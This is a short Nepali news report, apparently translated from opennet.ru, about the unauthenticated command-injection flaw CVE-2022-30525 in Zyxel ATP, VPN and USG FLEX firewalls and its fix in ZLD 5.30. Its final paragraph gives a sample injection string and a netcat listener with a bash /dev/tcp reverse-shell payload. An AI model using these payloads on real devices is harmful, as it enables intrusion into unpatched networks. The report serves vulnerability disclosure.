Zyxel फायरवालहरूमा जोखिम जसले प्रमाणीकरण बिना कोड कार्यान्वयन गर्न अनुमति दिन्छ

एटीपी, VPN र USG FLEX शृङ्खलाका Zyxel उपकरणहरूमा एउटा महत्वपूर्ण जोखिम (CVE-2022-30525) पहिचान गरिएको छ, उद्यमहरूमा फायरवाल, IDS र VPN को सञ्चालन व्यवस्थित गर्न डिजाइन गरिएको छ, जसले बाह्य आक्रमणकारीलाई कोड कार्यान्वयन गर्न अनुमति दिन्छ। प्रमाणीकरण बिना प्रयोगकर्ता अधिकार बिना उपकरण। आक्रमण गर्नको लागि, आक्रमणकारीले HTTP/HTTPS प्रोटोकल प्रयोग गरेर यन्त्रमा अनुरोधहरू पठाउन सक्षम हुनुपर्छ। Zyxel ले ZLD 5.30 फर्मवेयर अपडेटमा कमजोरी फिक्स गरेको छ। Shodan सेवाका अनुसार, हाल विश्वव्यापी नेटवर्कमा 16213 सम्भावित रूपमा कमजोर यन्त्रहरू छन् जसले HTTP/HTTPS मार्फत अनुरोधहरू स्वीकार गर्दछ।

प्रमाणीकरण बिना पहुँचयोग्य वेब ह्यान्डलर /ztp/cgi-bin/handler लाई विशेष रूपमा डिजाइन गरिएका आदेशहरू पठाएर सञ्चालन गरिन्छ। lib_wan_settings.py लाइब्रेरीमा प्रयोग गरिएको os.system कल प्रयोग गरेर प्रणालीमा आदेशहरू कार्यान्वयन गर्दा र setWanPortSt अपरेसन प्रशोधन गर्दा कार्यान्वयन गर्दा अनुरोध प्यारामिटरहरूको उचित सफाईको अभावले समस्या उत्पन्न हुन्छ।

उदाहरण को लागी, एक आक्रमणकारीले स्ट्रिङ पास गर्न सक्छ "; पिंग 192.168.1.210;" जसले प्रणालीमा "पिंग 192.168.1.210" आदेशको कार्यान्वयन गर्न नेतृत्व गर्नेछ। कमाण्ड शेलमा पहुँच प्राप्त गर्न, तपाइँ आफ्नो प्रणालीमा "nc -lvnp 1270" चलाउन सक्नुहुन्छ, र त्यसपछि '; bash -c \»exec bash -i &>/dev/tcp/192.168.1.210/1270 <&1;\»;'।

स्रोत: opennet.ru